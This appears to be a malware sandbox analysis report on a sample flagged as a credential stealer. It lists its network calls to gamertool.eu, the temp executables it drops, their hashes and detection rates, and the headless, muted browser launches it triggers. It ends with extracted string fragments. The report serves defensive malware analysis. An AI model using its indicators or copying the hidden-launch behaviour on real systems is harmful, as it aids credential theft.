2024-12-27 13:43:47 UTC	49	IN	Data Raw: 32 62 0d 0a 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 6f 75 74 75 62 65 2e 63 6f 6d 2f 77 61 74 63 68 3f 76 3d 77 6a 49 75 53 5f 72 51 51 73 59 0d 0a Data Ascii: 2bhttps://www.youtube.com/watch?v=wjIuS_rQQsY
2024-12-27 13:43:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.4	50207	172.67.161.29	443

Timestamp	Bytes transferred	Direction	Data
2024-12-27 13:44:20 UTC	211	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.3 Cache-Control: no-cache Host: gamertool.eu Connection: Keep-Alive
2024-12-27 13:44:21 UTC	840	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 13:44:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Content-Type-Options: nosniff cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DPIErGMhtTjPvuWOM6l8AZT8Rmv2dsGmGcsYC%2BXR11aC3SWL%2F1LkubpnErDbc7Q9KAkZ4D1eOtjF%2FhFqvQirLcLPFxDfkZ5jNahqce2SxvLbxPJ4wOQOcEZs7UVKXe4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f89beab3f0e6a4f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3372&min_rtt=3372&rtt_var=1686&sent=7&recv=8&lost=0&retrans=1&sent_bytes=4194&recv_bytes=825&delivery_rate=217780&cwnd=237&unsent_bytes=0&cid=6084833fa4721f34&ts=1197&x=0"
2024-12-27 13:44:21 UTC	49	IN	Data Raw: 32 62 0d 0a 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 6f 75 74 75 62 65 2e 63 6f 6d 2f 77 61 74 63 68 3f 76 3d 77 6a 49 75 53 5f 72 51 51 73 59 0d 0a Data Ascii: 2bhttps://www.youtube.com/watch?v=wjIuS_rQQsY
2024-12-27 13:44:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	08:42:07
Start date:	27/12/2024
Path:	C:\Users\user\Desktop\T4qO1i2Jav.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\T4qO1i2Jav.exe"
Imagebase:	0x90000
File size:	874'496 bytes
MD5 hash:	2D883950E8E1886BB567D041D17F22DB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1900549907.00000000009E3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	08:42:07
Start date:	27/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	08:42:40
Start date:	27/12/2024
Path:	C:\Users\user\AppData\Local\Temp\U08CYPEDK3U9ZW3NZ4R.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\U08CYPEDK3U9ZW3NZ4R.exe"
Imagebase:	0xf80000
File size:	1'796'608 bytes
MD5 hash:	E7768D0721ABC2F32508BFDF8E93EAFF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 78%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	08:42:43
Start date:	27/12/2024
Path:	C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe"
Imagebase:	0x210000
File size:	117'248 bytes
MD5 hash:	E10B81593D71C9C094F3D9D97C65F237
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	08:42:43
Start date:	27/12/2024
Path:	C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe 1228
Imagebase:	0x3b0000
File size:	1'796'608 bytes
MD5 hash:	E7768D0721ABC2F32508BFDF8E93EAFF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 78%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	08:42:43
Start date:	27/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	08:42:47
Start date:	27/12/2024
Path:	C:\Program Files\Internet Explorer\iexplore.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Internet Explorer\iexplore.exe" --headless --disable-gpu --mute-audio --autoplay-policy=no-user-gesture-required --app=https://www.youtube.com/watch?v=wjIuS_rQQsY
Imagebase:	0x7ff6d6f20000
File size:	834'512 bytes
MD5 hash:	CFE2E6942AC1B72981B3105E22D3224E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	08:42:48
Start date:	27/12/2024
Path:	C:\Users\user\AppData\Local\Temp\ZLOVRFvt\Q13Hi3dPshjDHTjm.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\ZLOVRFvt\Q13Hi3dPshjDHTjm.exe 0
Imagebase:	0xe20000
File size:	117'248 bytes
MD5 hash:	E10B81593D71C9C094F3D9D97C65F237
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	08:42:49
Start date:	27/12/2024
Path:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:792 CREDAT:17410 /prefetch:2
Imagebase:	0xca0000
File size:	828'368 bytes
MD5 hash:	6F0F06D6AB125A99E43335427066A4A1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	08:42:50
Start date:	27/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe" --from-ie-to-edge=3 --ie-frame-hwnd=10460
Imagebase:	0x7ff7c8590000
File size:	540'712 bytes
MD5 hash:	89CF8972D683795DAB6901BC9456675D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	08:42:50
Start date:	27/12/2024
Path:	C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe
Wow64 process (32bit):	true
Commandline:	"C:\PROGRA~2\Java\jre-1.8\bin\ssvagent.exe" -new
Imagebase:	0x410000
File size:	85'632 bytes
MD5 hash:	F9A898A606E7F5A1CD7CFFA8079253A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	08:42:51
Start date:	27/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --from-ie-to-edge=3 --ie-frame-hwnd=10460
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	08:42:53
Start date:	27/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2172 --field-trial-handle=2160,i,12527746652570324992,7600821867154545045,262144 /prefetch:3
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	08:42:53
Start date:	27/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --from-ie-to-edge=3 --ie-frame-hwnd=10460 --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	18
Start time:	08:42:55
Start date:	27/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2540 --field-trial-handle=2464,i,8886878303963272568,1758920196494828255,262144 /prefetch:3
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	19
Start time:	08:42:57
Start date:	27/12/2024
Path:	C:\Program Files\Internet Explorer\iexplore.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Internet Explorer\iexplore.exe" --headless --disable-gpu --mute-audio --autoplay-policy=no-user-gesture-required --app=https://www.youtube.com/watch?v=wjIuS_rQQsY
Imagebase:	0x7ff6d6f20000
File size:	834'512 bytes
MD5 hash:	CFE2E6942AC1B72981B3105E22D3224E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	20
Start time:	08:42:58
Start date:	27/12/2024
Path:	C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe"
Imagebase:	0x3b0000
File size:	1'796'608 bytes
MD5 hash:	E7768D0721ABC2F32508BFDF8E93EAFF
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	21
Start time:	08:42:58
Start date:	27/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	08:42:59
Start date:	27/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=5776 --field-trial-handle=2464,i,8886878303963272568,1758920196494828255,262144 /prefetch:8
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	08:43:00
Start date:	27/12/2024
Path:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:7880 CREDAT:17410 /prefetch:2
Imagebase:	0xca0000
File size:	828'368 bytes
MD5 hash:	6F0F06D6AB125A99E43335427066A4A1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	25
Start time:	08:43:00
Start date:	27/12/2024
Path:	C:\Users\user\AppData\Local\Temp\iAGXBgLW\VBJU2N3euXB4jMxu.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\iAGXBgLW\VBJU2N3euXB4jMxu.exe 7936
Imagebase:	0x2b0000
File size:	1'796'608 bytes
MD5 hash:	E7768D0721ABC2F32508BFDF8E93EAFF
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 78%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	08:43:01
Start date:	27/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	08:43:03
Start date:	27/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe" --from-ie-to-edge=3 --ie-frame-hwnd=e04cc
Imagebase:	0x7ff7c8590000
File size:	540'712 bytes
MD5 hash:	89CF8972D683795DAB6901BC9456675D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	08:43:04
Start date:	27/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --from-ie-to-edge=3 --ie-frame-hwnd=e04cc
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	08:43:06
Start date:	27/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2056 --field-trial-handle=2020,i,14565097193169155363,15533658218866554394,262144 /prefetch:3
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	08:43:06
Start date:	27/12/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 2000 -s 660
Imagebase:	0xc70000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	08:43:10
Start date:	27/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7076 --field-trial-handle=2464,i,8886878303963272568,1758920196494828255,262144 /prefetch:8
Imagebase:	0x7ff7e9b60000
File size:	1'255'976 bytes
MD5 hash:	76C58E5BABFE4ACF0308AA646FC0F416
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	08:43:10
Start date:	27/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7076 --field-trial-handle=2464,i,8886878303963272568,1758920196494828255,262144 /prefetch:8
Imagebase:	0x7ff7e9b60000
File size:	1'255'976 bytes
MD5 hash:	76C58E5BABFE4ACF0308AA646FC0F416
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	08:43:11
Start date:	27/12/2024
Path:	C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe"
Imagebase:	0x210000
File size:	117'248 bytes
MD5 hash:	E10B81593D71C9C094F3D9D97C65F237
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	08:43:15
Start date:	27/12/2024
Path:	C:\Program Files\Internet Explorer\iexplore.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Internet Explorer\iexplore.exe" --headless --disable-gpu --mute-audio --autoplay-policy=no-user-gesture-required --app=https://www.youtube.com/watch?v=wjIuS_rQQsY
Imagebase:	0x7ff6d6f20000
File size:	834'512 bytes
MD5 hash:	CFE2E6942AC1B72981B3105E22D3224E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	38
Start time:	08:43:15
Start date:	27/12/2024
Path:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3548 CREDAT:9474 /prefetch:2
Imagebase:	0xca0000
File size:	828'368 bytes
MD5 hash:	6F0F06D6AB125A99E43335427066A4A1
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	39
Start time:	08:43:17
Start date:	27/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe" --from-ie-to-edge=3 --ie-frame-hwnd=405b6
Imagebase:	0x7ff7c8590000
File size:	540'712 bytes
MD5 hash:	89CF8972D683795DAB6901BC9456675D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	08:43:17
Start date:	27/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe" --from-ie-to-edge=3 --ie-frame-hwnd=405b6
Imagebase:	0x7ff7c8590000
File size:	540'712 bytes
MD5 hash:	89CF8972D683795DAB6901BC9456675D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	08:43:18
Start date:	27/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --from-ie-to-edge=3 --ie-frame-hwnd=405b6
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	08:43:19
Start date:	27/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1016 --field-trial-handle=2076,i,3765983385279909395,18258713166015416735,262144 /prefetch:3
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	08:43:21
Start date:	27/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start /prefetch:5
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	08:43:22
Start date:	27/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2224 --field-trial-handle=2036,i,8421648618134585066,14207088546948016644,262144 /prefetch:3
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	08:43:31
Start date:	27/12/2024
Path:	C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe"
Imagebase:	0x3b0000
File size:	1'796'608 bytes
MD5 hash:	E7768D0721ABC2F32508BFDF8E93EAFF
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	47
Start time:	08:43:31
Start date:	27/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	08:43:33
Start date:	27/12/2024
Path:	C:\Users\user\AppData\Local\Temp\6AMM9O8n\YOB9kZKIRUqnzMwq.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\6AMM9O8n\YOB9kZKIRUqnzMwq.exe 9316
Imagebase:	0x790000
File size:	1'796'608 bytes
MD5 hash:	E7768D0721ABC2F32508BFDF8E93EAFF
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 78%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	08:43:33
Start date:	27/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	08:43:36
Start date:	27/12/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 2000 -s 644
Imagebase:	0xc70000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	4.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	27.1%
Total number of Nodes:	638
Total number of Limit Nodes:	33

Executed Functions

Function 00892670 Relevance: 232.9, APIs: 1, Strings: 131, Instructions: 1885COMMON

Download Yara Rule

Strings

y, xrefs: 00893738
l, xrefs: 00892EFA
f, xrefs: 00893A51
`, xrefs: 0089341F
|, xrefs: 00893750
$, xrefs: 00892D2F
w, xrefs: 00893CB7
a, xrefs: 00893C97
b, xrefs: 008941A9
p, xrefs: 00893CE7
`, xrefs: 008941B6
`, xrefs: 00893A21
b, xrefs: 0089427D
p, xrefs: 00893D07
', xrefs: 00892D47
P, xrefs: 00893AA1
q, xrefs: 00892D17
8, xrefs: 00892D4F
v, xrefs: 008939D1
x, xrefs: 00893197
8, xrefs: 00893527
:, xrefs: 00893076
c, xrefs: 008941A4
g, xrefs: 00893CA7
., xrefs: 008940F1
w, xrefs: 00893728
|, xrefs: 00893C87
E, xrefs: 0089390D
a, xrefs: 008941AE
&, xrefs: 00892D3F
K, xrefs: 00892F09
~, xrefs: 00893187
z, xrefs: 00893971
@, xrefs: 00893D27
a, xrefs: 00894282
T, xrefs: 00893AC1
L, xrefs: 00893D87
c, xrefs: 00894278
x, xrefs: 00893961
D, xrefs: 00893F09
3, xrefs: 008927E6
c, xrefs: 00893FAB
a, xrefs: 00893FB5
*, xrefs: 00892CDF
l, xrefs: 00893A01
,, xrefs: 00892CEF
n, xrefs: 00893A11
\, xrefs: 00893A81
c, xrefs: 00893410
Z, xrefs: 00892B89
J, xrefs: 00892F04
u, xrefs: 00893718
J, xrefs: 00893AF1
}, xrefs: 00893758
O, xrefs: 00893B19
V, xrefs: 00892E52
`, xrefs: 00893FBA
j, xrefs: 008939F1
/, xrefs: 008932B8
H, xrefs: 00893AE1
3, xrefs: 00892861
4, xrefs: 008926D2
m, xrefs: 008936D8
p, xrefs: 008939A1
b, xrefs: 008943E7
O, xrefs: 00893D37
[, xrefs: 008930AE
/, xrefs: 0089294E
o, xrefs: 008936E8
L, xrefs: 00893B01
d, xrefs: 00893A41
I, xrefs: 00892D37
V, xrefs: 00893AD1
{, xrefs: 00893748
c, xrefs: 008943E2
F, xrefs: 00893912
\, xrefs: 008930B6
Y, xrefs: 00892B84
], xrefs: 008930BE
a, xrefs: 00893903
|, xrefs: 00893981
y, xrefs: 00892A62
@, xrefs: 00893B21
~, xrefs: 00893991
U, xrefs: 0089307E
9, xrefs: 008928B7
6, xrefs: 00893288
Z, xrefs: 00893DF7
", xrefs: 00892D1F
s, xrefs: 00893708
c, xrefs: 008944A9
b, xrefs: 00893415
M, xrefs: 008940E9
b, xrefs: 00893A31
t, xrefs: 008939C1
{, xrefs: 00892B7F
b, xrefs: 008944AE
X, xrefs: 00893A61
h, xrefs: 008939E1
Y, xrefs: 0089309E
^, xrefs: 00893A91
!, xrefs: 008932D0
D, xrefs: 00893908
b, xrefs: 00893FB0
r, xrefs: 00893D17
`, xrefs: 008944B8
a, xrefs: 008944B3
`, xrefs: 008933A8
`, xrefs: 008943F1
., xrefs: 00892CFF
, xrefs: 00892D0F
1, xrefs: 0089352C
a, xrefs: 008943EC
t, xrefs: 00893177
I, xrefs: 00892EFF
h, xrefs: 00892CF7
W, xrefs: 0089308E
D, xrefs: 00894338
R, xrefs: 00893AB1
r, xrefs: 00892D07
f, xrefs: 008935CA
q, xrefs: 008936F8
r, xrefs: 008939B1
A, xrefs: 00892757
, xrefs: 008932C8
N, xrefs: 00893B11
Z, xrefs: 00893A71
`, xrefs: 00894287
